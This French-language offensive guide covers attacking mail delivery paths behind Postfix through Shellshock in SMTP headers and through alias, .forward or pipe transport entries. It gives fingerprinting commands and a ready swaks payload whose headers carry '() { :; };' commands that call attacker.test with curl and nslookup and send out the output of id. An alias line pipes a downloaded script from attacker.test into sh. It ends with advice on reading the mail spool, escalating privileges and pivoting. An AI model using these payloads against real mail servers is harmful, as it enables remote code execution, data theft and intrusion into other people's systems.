Postfix a été écrit pour la sécurité et ses processus composants s'exécutent avec le moindre privilège, de sorte que l'exécution de code à distance directe contre le cœur de Postfix est rare. La surface exploitable est ce à quoi Postfix remet le courrier : filtres de contenu, programmes pilotés par alias, recettes procmail, et le transport pipe qui délivre les messages à des commandes invoquées par le shell. Le cas le plus connu est Shellshock via SMTP : lorsqu'un chemin de délivrance exécute un script bash (un filter dans master.cf, un alias tubant vers un shell, un .forward exécutant une commande) et que ce script expose une valeur dérivée du courrier comme variable d'environnement, l'analyse par bash d'un préfixe de définition de fonction (() { :; };) dans cette valeur exécute les commandes suivantes. Postfix n'est que le transporteur ; le programme vulnérable est la cible. La même logique s'applique partout où des alias ou le transport pipe routent le courrier vers une commande que vous pouvez influencer.
Identifier et prérequis#
nc mail.victim.com 25
# 220 mail.victim.com ESMTP Postfix (Debian/GNU) <- Postfix confirmed
nmap -p25 -sV mail.victim.com
Shellshock via SMTP nécessite que trois conditions soient vraies en même temps : un bash qui analyse encore mal les définitions de fonction dans les valeurs d'environnement, un point d'ancrage de délivrance (filtre/alias/.forward) qui invoque bash, et ce point d'ancrage plaçant un champ du courrier dans l'environnement. Vous ne pouvez généralement pas voir la configuration depuis l'extérieur, c'est donc souvent opportuniste : envoyez la charge utile et guettez un rappel hors bande.
Mécanisme et charge utile guidée#
Placez le préfixe Shellshock dans un en-tête que le script de délivrance est susceptible d'exporter (expéditeur, sujet ou un en-tête personnalisé), afin que bash évalue la commande quand le filtre s'exécute :
swaks --server mail.victim.com --to admin@victim.com --from '() { :; }; /usr/bin/curl http://attacker.test/`id|tr " " +`' \
--header 'Subject: () { :; }; /usr/bin/nslookup attacker.test'
# attacker listener / DNS log shows the callback when a bash-based filter runs:
GET /uid=0(root)+gid=0(root)... HTTP/1.1
Le déclenchement du rappel (requête HTTP ou résolution DNS vers votre hôte) confirme que le pipeline de délivrance a exécuté bash avec votre valeur dans l'environnement : c'est une exécution de code en tant qu'utilisateur du filtre. Aucun rappel signifie aucun point d'ancrage bash sur ce champ, faites donc tourner l'en-tête qui porte le préfixe.
Le chemin alias/pipe est la même idée sans Shellshock : si vous pouvez écrire dans une entrée aliases ou un .forward, ou atteindre un transport pipe, le courrier vers cette adresse exécute la commande spécifiée :
# /etc/aliases or ~/.forward controlled or guessable:
reports: "|/bin/sh -c 'curl http://attacker.test/pwn|sh'"
Le courrier envoyé à reports@victim.com exécute alors la commande tubée à la délivrance.
Variantes et suites#
- Soyez honnête sur la portée : contre un Postfix par défaut sans filtre, il n'y a généralement rien à atteindre à distance. Le gain apparaît dès qu'un filtre bash, un enrobage antivirus/de contenu, ou un
procmail/.forwardhérité est sur le chemin, ce qui est courant sur les hôtes de messagerie anciens ou fortement personnalisés. - L'exécution de code aboutit en tant qu'utilisateur du filtre ou de la délivrance locale ; de là, lisez le spool et la file de courrier, puis élevez vos privilèges et pivotez.